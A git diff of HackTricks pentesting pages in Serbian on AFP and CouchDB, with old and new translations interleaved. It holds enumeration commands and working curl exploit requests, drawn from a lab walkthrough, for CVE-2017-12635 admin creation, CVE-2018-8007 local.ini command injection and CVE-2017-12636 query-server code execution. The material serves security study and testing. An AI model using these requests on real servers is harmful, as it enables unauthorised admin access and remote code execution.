**Apple Filing Protocol** (**AFP**), nekada poznat kao AppleTalk Filing Protocol, je specijalizovani mrežni protokol koji je deo **Apple File Service** (**AFS**). Namenjen je pružanju usluga fajlova za macOS i klasični Mac OS. AFP se ističe podrškom za Unicode imena fajlova, POSIX i kontrolu pristupa putem liste dozvola, resursne viljuške, imenovane proširene atribute i sofisticirane mehanizme zaključavanja fajlova. Bio je glavni protokol za usluge fajlova u Mac OS 9 i ranijim verzijama.
**Apple Filing Protocol** (**AFP**), nekada poznat kao AppleTalk Filing Protocol, je specijalizovani mrežni protokol uključen u **Apple File Service** (**AFS**). Dizajniran je da obezbedi usluge datoteka za macOS i klasični Mac OS. AFP se izdvaja po podršci za Unicode imena datoteka, POSIX i dozvole kontrolne liste pristupa, resursne forkove, imenovane proširene atribute i sofisticirane mehanizme zaključavanja datoteka. Bio je glavni protokol za usluge datoteka u Mac OS 9 i ranijim verzijama.
**Podrazumevani port:** 548
```bash
@ -26,30 +27,31 @@ PORT STATE SERVICE
```
### **Enumeracija**
Za enumeraciju AFP usluga korisne su sledeće komande i skripte:
Za enumeraciju AFP usluga, sledeće komande i skripte su korisne:
```bash
msf> use auxiliary/scanner/afp/afp_server_info
nmap -sV --script "afp-* and not dos and not brute" -p <PORT> <IP>
```
**Skripte i njihovi opisi:**
**Skripte i njihove opise:**
- **afp-ls**: Ova skripta se koristi za listanje dostupnih AFP volumena i fajlova.
- **afp-path-vuln**: Listira sve AFP volumene i fajlove, ističući potencijalne ranjivosti.
- **afp-serverinfo**: Pruža detaljne informacije o AFP serveru.
- **afp-showmount**: Listira dostupne AFP deljenja zajedno sa njihovim odgovarajućim ACL-ovima.
- **afp-path-vuln**: Lista sve AFP volumene i fajlove, ističući potencijalne ranjivosti.
- **afp-serverinfo**: Ova skripta pruža detaljne informacije o AFP serveru.
- **afp-showmount**: Lista dostupne AFP delove zajedno sa njihovim odgovarajućim ACL-ovima.
### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#afp)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,111 +1,91 @@
# 5984,6984 - Pentestiranje CouchDB
# 5984,6984 - Pentesting CouchDB
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **Osnovne informacije**
**CouchDB** je svestrana i moćna **dokument-orientisana baza podataka** koja organizuje podatke koristeći strukturu **ključ-vrednost** unutar svakog **dokumenta**. Polja unutar dokumenta mogu biti predstavljena kao **ključ/vrednost parovi, liste ili mape**, pružajući fleksibilnost u skladištenju i dohvatanju podataka.
**CouchDB** je svestrana i moćna **baza podataka orijentisana na dokumente** koja organizuje podatke koristeći **strukturu mapa ključ-vrednost** unutar svakog **dokumenta**. Polja unutar dokumenta mogu biti predstavljena kao **ključ/vrednost parovi, liste ili mape**, pružajući fleksibilnost u skladištenju i preuzimanju podataka.
Svaki **dokument** koji se čuva u CouchDB-u dobija jedinstveni identifikator (`_id`) na nivou dokumenta. Pored toga, svaka izmena koja se napravi i sačuva u bazi podataka dobija broj revizije (`_rev`). Ovaj broj revizije omogućava efikasno **praćenje i upravljanje promenama**, olakšavajući jednostavno dohvatanje i sinhronizaciju podataka unutar baze podataka.
Svaki **dokument** koji se čuva u CouchDB dobija **jedinstveni identifikator** (`_id`) na nivou dokumenta. Pored toga, svaka izmena koja se izvrši i sačuva u bazi podataka dobija **broj revizije** (`_rev`). Ovaj broj revizije omogućava efikasno **praćenje i upravljanje promenama**, olakšavajući preuzimanje i sinhronizaciju podataka unutar baze podataka.
**Podrazumevani port:** 5984(http), 6984(https)
```
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
```
## **Automatsko nabrajanje**
## **Automatska Enumeracija**
```bash
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
```
## Ručna Enumeracija
### Baner
Kada se bavite pentestiranjem CouchDB baze podataka, prvi korak je da identifikujete baner. Baner je informacija koja se prikazuje prilikom uspostavljanja veze sa CouchDB serverom. Ova informacija može biti korisna za identifikaciju verzije CouchDB-a koji se koristi, kao i za pronalaženje potencijalnih ranjivosti.
Da biste pronašli baner, možete koristiti alate kao što su `telnet` ili `nc` (netcat) kako biste se povezali sa CouchDB serverom na odgovarajućem portu (obično 5984). Nakon uspostavljanja veze, server će vam prikazati baner informaciju.
Na primer, možete koristiti sledeću komandu da biste se povezali sa CouchDB serverom i prikazali baner:
```plaintext
$ telnet <IP adresa> 5984
```
Nakon uspešne konekcije, server će prikazati baner informaciju koja će izgledati otprilike ovako:
```plaintext
Trying <IP adresa>...
Connected to <IP adresa>.
Escape character is '^]'.
{"couchdb":"Welcome","version":"2.3.1","git_sha":"c298091a4","uuid":"a3e4b5c6-d7e8-f9g0-h1i2-j3k4l5m6n7o8","features":["pluggable-storage-engines","scheduler"],"vendor":{"name":"The Apache Software Foundation"}}
```
U ovom primeru, baner informacija pokazuje da se koristi CouchDB verzija 2.3.1 i da je vendor Apache Software Foundation.
Ova informacija može biti korisna za dalje istraživanje i identifikaciju potencijalnih ranjivosti u CouchDB bazi podataka.
```
curl http://IP:5984/
```
Ovo izdaje GET zahtev instaliranoj CouchDB instanci. Odgovor bi trebao izgledati nešto poput jednog od sledećih:
Ovo izdaje GET zahtev instaliranoj CouchDB instanci. Odgovor bi trebao izgledati kao jedan od sledećih:
```bash
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
```
{% hint style="info" %}
Imajte na umu da ako pristupate korenu CouchDB-a i dobijete `401 Unauthorized` sa nečim poput ovoga: `{"error":"unauthorized","reason":"Authentication required."}` **nećete moći pristupiti** baneru ili bilo kojem drugom endpointu.
Napomena da ako prilikom pristupa root-u couchdb dobijete `401 Unauthorized` sa nečim poput: `{"error":"unauthorized","reason":"Authentication required."}` **nećete moći da pristupite** baneru ili bilo kojem drugom kraju.
{% endhint %}
### Info Enumeracija
### Info Enumeration
Ovo su endpointi do kojih možete pristupiti sa **GET** zahtevom i izvući neke zanimljive informacije. Možete pronaći [**više endpointa i detaljnije opise u dokumentaciji za couchdb**](https://docs.couchdb.org/en/latest/api/index.html).
Ovo su krajevi gde možete pristupiti sa **GET** zahtevom i izvući neke zanimljive informacije. Možete pronaći [**više krajeva i detaljnije opise u couchdb dokumentaciji**](https://docs.couchdb.org/en/latest/api/index.html).
* **`/_active_tasks`** Lista pokrenutih zadataka, uključujući vrstu zadatka, ime, status i ID procesa.
* **`/_all_dbs`** Vraća listu svih baza podataka u instanci CouchDB-a.
* **`/_active_tasks`** Lista aktivnih zadataka, uključujući tip zadatka, ime, status i ID procesa.
* **`/_all_dbs`** Vraća listu svih baza podataka u CouchDB instanci.
* **`/_cluster_setup`** Vraća status čvora ili klastera, prema čarobnjaku za podešavanje klastera.
* **`/_db_updates`** Vraća listu svih događaja baze podataka u instanci CouchDB-a. Postojanje baze podataka `_global_changes` je potrebno za korišćenje ovog endpointa.
* **`/_membership`** Prikazuje čvorove koji su deo klastera kao `cluster_nodes`. Polje `all_nodes` prikazuje sve čvorove koje ovaj čvor poznaje, uključujući one koji su deo klastera.
* **`/_scheduler/jobs`** Lista poslova replikacije. Svaki opis posla će uključivati informacije o izvoru i odredištu, ID replikacije, istoriju nedavnih događaja i još neke stvari.
* **`/_scheduler/docs`** Lista stanja replikacijskih dokumenata. Uključuje informacije o svim dokumentima, čak i u `completed` i `failed` stanjima. Za svaki dokument vraća ID dokumenta, bazu podataka, ID replikacije, izvor i odredište, i druge informacije.
* **`/_db_updates`** Vraća listu svih događaja u bazi podataka u CouchDB instanci. Postojanje baze podataka `_global_changes` je neophodno za korišćenje ovog kraja.
* **`/_membership`** Prikazuje čvorove koji su deo klastera kao `cluster_nodes`. Polje `all_nodes` prikazuje sve čvorove o kojima ovaj čvor zna, uključujući one koji su deo klastera.
* **`/_scheduler/jobs`** Lista zadataka replikacije. Svaki opis zadatka uključuje informacije o izvoru i odredištu, ID replikacije, istoriju nedavnih događaja i nekoliko drugih stvari.
* **`/_scheduler/docs`** Lista stanja replikacionih dokumenata. Uključuje informacije o svim dokumentima, čak i u `completed` i `failed` stanjima. Za svaki dokument vraća ID dokumenta, bazu podataka, ID replikacije, izvor i odredište, i druge informacije.
* **`/_scheduler/docs/{replicator_db}`**
* **`/_scheduler/docs/{replicator_db}/{docid}`**
* **`/_node/{node-name}`** Endpoint `/_node/{node-name}` se može koristiti za potvrdu Erlang imena čvora servera koji obrađuje zahtev. Ovo je najkorisnije kada pristupate `/_node/_local` da biste dobili ove informacije.
* **`/_node/{node-name}/_stats`** Resurs `_stats` vraća JSON objekat koji sadrži statistike za pokrenuti server. Doslovni string `_local` služi kao alias za lokalno ime čvora, pa se za sve URL-ove statistika, `{node-name}` može zameniti sa `_local`, da bi se interagiralo sa statistikama lokalnog čvora.
* **`/_node/{node-name}/_system`** Resurs \_system vraća JSON objekat koji sadrži razne statistike na nivou sistema za pokrenuti server\_.\_ Možete koristiti \_\_`_local` kao {node-name} da biste dobili trenutne informacije o čvoru.
* **`/_node/{node-name}`** Krajnja tačka `/_node/{node-name}` može se koristiti za potvrdu imena Erlang čvora servera koji obrađuje zahtev. Ovo je najkorisnije kada pristupate `/_node/_local` da biste dobili ove informacije.
* **`/_node/{node-name}/_stats`** Resurs `_stats` vraća JSON objekat koji sadrži statistiku za pokrenuti server. Literalni string `_local` služi kao alias za lokalno ime čvora, tako da se za sve URL-ove statistike, `{node-name}` može zameniti sa `_local`, da bi se interagovalo sa statistikama lokalnog čvora.
* **`/_node/{node-name}/_system`** Resurs \_system vraća JSON objekat koji sadrži razne sistemske statistike za pokrenuti server\_.\_ Možete koristiti \_\_`_local` kao {node-name} da dobijete informacije o trenutnom čvoru.
* **`/_node/{node-name}/_restart`**
* **`/_up`** Potvrđuje da je server pokrenut, radi i spreman da odgovori na zahteve. Ako je [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) `true` ili `nolb`, endpoint će vratiti odgovor 404.
* **`/_uuids`** Zahteva jedan ili više univerzalno jedinstvenih identifikatora (UUID) iz instance CouchDB-a.
* **`/_reshard`** Vraća broj završenih, neuspešnih, pokrenutih, zaustavljenih i ukupnih poslova, zajedno sa stanjem reshardinga na klasteru.
* **`/_up`** Potvrđuje da je server aktivan, radi i spreman da odgovori na zahteve. Ako je [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) `true` ili `nolb`, krajnja tačka će vratiti 404 odgovor.
* **`/_uuids`** Zahteva jedan ili više Univerzalno Jedinstvenih Identifikatora (UUID) iz CouchDB instance.
* **`/_reshard`** Vraća broj završenih, neuspešnih, aktivnih, zaustavljenih i ukupnih zadataka zajedno sa stanjem reshardinga na klasteru.
Više zanimljivih informacija može se izvući kako je objašnjeno ovde: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
Zanimljivije informacije mogu se izvući kao što je objašnjeno ovde: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
### **Lista baza podataka**
### **Database List**
```
curl -X GET http://IP:5984/_all_dbs
```
Ako taj zahtev odgovori sa **401 unauthorised**, onda vam trebaju **validni pristupni podaci** da biste pristupili bazi podataka:
Ako taj zahtev **odgovara sa 401 neovlašćen**, onda su vam potrebne **validne akreditive** za pristup bazi podataka:
```
curl -X GET http://user:password@IP:5984/_all_dbs
```
Da biste pronašli važeće akreditive, možete **pokušati** [**bruteforce uslugu**](../generic-methodologies-and-resources/brute-force.md#couchdb).
Da biste pronašli važeće akreditive, mogli biste **pokušati** [**bruteforce the service**](../generic-methodologies-and-resources/brute-force.md#couchdb).
Ovo je **primer** odgovora couchdb-a kada imate **dovoljno privilegija** da navedete baze podataka (To je samo lista baza podataka):
Ovo je **primer** couchdb **odgovora** kada imate **dovoljno privilegija** da listate baze podataka (To je samo lista db-ova):
```bash
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
```
### Informacije o bazi podataka
### Database Info
Možete dobiti neke informacije o bazi podataka (kao što su broj datoteka i veličine) pristupanjem imenu baze podataka:
Možete dobiti neke informacije o bazi podataka (kao što su broj fajlova i veličine) pristupajući imenu baze podataka:
```bash
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
@ -114,7 +94,7 @@ curl http://localhost:5984/simpsons
```
### **Lista dokumenata**
Izlistajte svaki unos unutar baze podataka
Nabrojte svaki unos unutar baze podataka
```bash
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
@ -129,18 +109,18 @@ curl http://localhost:5984/simpsons/_all_docs
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
```
### **Čitanje dokumenta**
### **Pročitaj Dokument**
Pročitajte sadržaj dokumenta unutar baze podataka:
Pročitaj sadržaj dokumenta unutar baze podataka:
```bash
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
```
## CouchDB Eskalacija privilegija [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
## CouchDB Privilege Escalation [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
Zahvaljujući razlikama između Erlang i JavaScript JSON parsera, moguće je **kreirati admin korisnika** sa pristupnim podacima `hacktricks:hacktricks` pomoću sledećeg zahteva:
Zahvaljujući razlikama između Erlang i JavaScript JSON parsera, mogli biste **napraviti admin korisnika** sa kredencijalima `hacktricks:hacktricks` sa sledećim zahtevom:
```bash
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
```
@ -152,24 +132,24 @@ curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[]
Primer [odavde](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
U dokumentaciji za CouchDB, posebno u delu koji se odnosi na podešavanje klastera ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), razmatra se upotreba portova od strane CouchDB u režimu klastera. Pomenuto je da se, kao i u samostalnom režimu, koristi port `5984`. Dodatno, port `5986` je namenjen lokalnim API-ima čvora, a važno je da Erlang zahteva TCP port `4369` za Erlang Port Mapper Daemon (EPMD), koji omogućava komunikaciju čvorova unutar Erlang klastera. Ova konfiguracija formira mrežu u kojoj su svi čvorovi međusobno povezani.
U dokumentaciji CouchDB, posebno u odeljku koji se odnosi na podešavanje klastera ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), raspravlja se o korišćenju portova od strane CouchDB u režimu klastera. Pominje se da, kao u samostalnom režimu, port `5984` se koristi. Pored toga, port `5986` je za lokalne API-je, a što je važno, Erlang zahteva TCP port `4369` za Erlang Port Mapper Daemon (EPMD), koji olakšava komunikaciju između čvorova unutar Erlang klastera. Ova konfiguracija formira mrežu gde je svaki čvor međusobno povezan sa svim ostalim čvorovima.
Naglašena je ključna sigurnosna preporuka u vezi sa portom `4369`. Ako je ovaj port dostupan preko interneta ili bilo koje nepouzdane mreže, sigurnost sistema u velikoj meri zavisi od jedinstvenog identifikatora poznatog kao "kolačić". Ovaj kolačić deluje kao zaštita. Na primer, u datom listi procesa može se primetiti kolačić nazvan "monster", što ukazuje na njegovu operativnu ulogu u okviru sigurnosnog okvira sistema.
Ključna sigurnosna preporuka se ističe u vezi sa portom `4369`. Ako je ovaj port dostupan preko Interneta ili bilo koje nepouzdane mreže, sigurnost sistema se u velikoj meri oslanja na jedinstveni identifikator poznat kao "kolačić." Ovaj kolačić deluje kao zaštita. Na primer, u datoj listi procesa, može se primetiti kolačić nazvan "monster", što ukazuje na njegovu operativnu ulogu u okviru sigurnosnog sistema.
```
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
```
Za one koji su zainteresovani da razumeju kako se ovaj "kolačić" može iskoristiti za daljinsko izvršavanje koda (RCE) u kontekstu Erlang sistema, dostupan je poseban odeljak za dalje čitanje. Detaljno se opisuju metodologije za zloupotrebu Erlang kolačića na neovlašćene načine radi preuzimanja kontrole nad sistemima. Možete **[istražiti detaljan vodič o zloupotrebi Erlang kolačića za RCE ovde](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.
Za one koji su zainteresovani da razumeju kako se ovaj "kolačić" može iskoristiti za Remote Code Execution (RCE) u kontekstu Erlang sistema, dostupna je posvećena sekcija za dalju lektiru. Ona detaljno opisuje metodologije za korišćenje Erlang kolačića na neovlašćen način kako bi se postigla kontrola nad sistemima. Možete **[istražiti detaljan vodič o zloupotrebi Erlang kolačića za RCE ovde](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.
### **Iskorišćavanje CVE-2018-8007 putem izmene local.ini**
### **Iskorišćavanje CVE-2018-8007 kroz modifikaciju local.ini**
Primer [odavde](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
Istražena je nedavno otkrivena ranjivost, CVE-2018-8007, koja utiče na Apache CouchDB, otkrivajući da za eksploataciju treba imati dozvole za pisanje u datoteku `local.ini`. Iako se to direktno ne može primeniti na ciljni sistem zbog sigurnosnih ograničenja, izvršene su izmene kako bi se omogućio pristup pisanju u datoteku `local.ini` u svrhu istraživanja. Detaljni koraci i primeri koda su navedeni u nastavku, prikazujući proces.
Nedavno otkrivena ranjivost, CVE-2018-8007, koja utiče na Apache CouchDB, istražena je, otkrivajući da iskorišćavanje zahteva prava za pisanje na `local.ini` datoteku. Iako nije direktno primenljivo na inicijalni ciljni sistem zbog bezbednosnih ograničenja, izvršene su modifikacije kako bi se omogućio pristup za pisanje na `local.ini` datoteku u svrhe istraživanja. Detaljni koraci i primeri koda su navedeni u nastavku, prikazujući proces.
Prvo, okruženje se priprema tako što se osigura da je datoteka `local.ini` za pisanje, što se proverava listanjem dozvola:
Prvo, okruženje se priprema osiguravajući da je `local.ini` datoteka zapisiva, što se proverava listanjem dozvola:
```bash
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
@ -177,11 +157,11 @@ root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
```
Da bi se iskoristila ranjivost, izvršava se curl komanda koja cilja konfiguraciju `cors/origins` u `local.ini` fajlu. Ovo ubacuje novi izvor zajedno sa dodatnim komandama pod sekcijom `[os_daemons]`, sa ciljem izvršavanja proizvoljnog koda:
Da bi se iskoristila ranjivost, izvršava se curl komanda, koja cilja `cors/origins` konfiguraciju u `local.ini`. Ovo ubacuje novu origin zajedno sa dodatnim komandama pod `[os_daemons]` sekcijom, sa ciljem izvršavanja proizvoljnog koda:
```bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
```
Naknadna verifikacija pokazuje ubačenu konfiguraciju u `local.ini`, upoređujući je sa rezervnom kopijom kako bi se istakle promene:
Kasnija verifikacija pokazuje injektovanu konfiguraciju u `local.ini`, upoređujući je sa rezervnom kopijom kako bi se istakle promene:
```bash
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
@ -190,57 +170,57 @@ root@canape:/home/homer/etc# diff local.ini local.ini.bk
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
```
Prvo, očekivani fajl (`/tmp/0xdf`) ne postoji, što ukazuje da ubačena komanda još uvek nije izvršena. Dalje istraživanje otkriva da su pokrenuti procesi povezani sa CouchDB-om, uključujući i jedan koji potencijalno može izvršiti ubačenu komandu:
U početku, očekivana datoteka (`/tmp/0xdf`) ne postoji, što ukazuje na to da injektovana komanda još nije izvršena. Dalja istraga otkriva da su procesi povezani sa CouchDB u radu, uključujući jedan koji bi potencijalno mogao izvršiti injektovanu komandu:
```bash
root@canape:/home/homer/bin# ps aux | grep couch
```
Prekidanjem identifikovanog CouchDB procesa i omogućavanjem automatskog ponovnog pokretanja sistema, pokreće se izvršavanje ubačene komande, što potvrđuje postojanje prethodno nedostajuće datoteke:
Prekidom identifikovanog CouchDB procesa i omogućavanjem sistemu da ga automatski ponovo pokrene, pokreće se izvršenje injektovane komande, što je potvrđeno postojanjem prethodno nedostajuće datoteke:
```bash
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
```
Ova istraživanja potvrđuju mogućnost iskorišćavanja CVE-2018-8007 pod određenim uslovima, posebno zahtevom za upisivanjem u `local.ini` datoteku. Priloženi primeri koda i proceduralni koraci pružaju jasno uputstvo za replikaciju napada u kontrolisanom okruženju.
Ova eksploracija potvrđuje izvodljivost eksploatacije CVE-2018-8007 pod specifičnim uslovima, posebno zahtevom za zapisivim pristupom `local.ini` datoteci. Pruženi primeri koda i proceduralni koraci nude jasan vodič za replikaciju eksploata u kontrolisanom okruženju.
Za više detalja o CVE-2018-8007, pogledajte obaveštenje od strane mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
Za više detalja o CVE-2018-8007, pogledajte savetovanje od mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
### **Istraživanje CVE-2017-12636 sa dozvolama za pisanje na local.ini**
Primer [odavde](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
Istražena je ranjivost poznata kao CVE-2017-12636, koja omogućava izvršavanje koda putem CouchDB procesa, iako određene konfiguracije mogu sprečiti njeno iskorišćavanje. Uprkos brojnim dostupnim referencama Proof of Concept (POC) na internetu, potrebne su izmene kako bi se iskoristila ranjivost na CouchDB verziji 2, koja se razlikuje od često ciljane verzije 1.x. Početni koraci uključuju proveru verzije CouchDB i potvrdu odsustva očekivane putanje za upitne servere:
Ranljivost poznata kao CVE-2017-12636 je istražena, koja omogućava izvršavanje koda putem CouchDB procesa, iako specifične konfiguracije mogu sprečiti njenu eksploataciju. I pored brojnih referenci na Proof of Concept (POC) dostupnih na mreži, potrebne su prilagodbe za eksploataciju ranjivosti na CouchDB verziji 2, koja se razlikuje od uobičajeno ciljanih verzija 1.x. Početni koraci uključuju verifikaciju verzije CouchDB i potvrđivanje odsustva očekivane putanje servera za upite:
```bash
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
```
Da bi se prilagodio CouchDB verziji 2.0, koristi se nova putanja:
Da bi se prilagodila CouchDB verziji 2.0, koristi se novi put:
```bash
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
```
Pokušaji dodavanja i pokretanja novog upitnog servera naišli su na greške vezane za dozvole, kako je naznačeno u sledećem izlazu:
Pokušaji dodavanja i pozivanja novog servera za upite naišli su na greške vezane za dozvole, što je naznačeno sledećim izlazom:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
```
Dalje istraživanje je otkrilo problem sa dozvolama `local.ini` fajla, koji nije bio moguć za pisanje. Modifikacijom dozvola fajla uz pomoć root ili homer pristupa, postalo je moguće nastaviti:
Dalja istraga je otkrila probleme sa dozvolama za `local.ini` datoteku, koja nije mogla da se piše. Modifikovanjem dozvola datoteke sa root ili homer pristupom, postalo je moguće nastaviti:
```bash
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
```
Naredni pokušaji dodavanja upitnog servera su uspeli, što je potvrđeno nedostatkom poruka o greškama u odgovoru. Uspešna modifikacija `local.ini` datoteke je potvrđena poređenjem datoteka:
Kasniji pokušaji dodavanja servera za upite su uspeli, što je potvrđeno odsustvom poruka o grešci u odgovoru. Uspješna modifikacija `local.ini` datoteke je potvrđena kroz poređenje datoteka:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
```
Proces se nastavio sa kreiranjem baze podataka i dokumenta, a zatim je pokušan izvršetak koda putem prilagođenog prikaza koji se mapira na novo dodati serverski upit:
Proces se nastavio kreiranjem baze podataka i dokumenta, nakon čega je usledio pokušaj izvršavanja koda putem prilagođenog prikaza mapiranja na novonadded server za upite:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
```
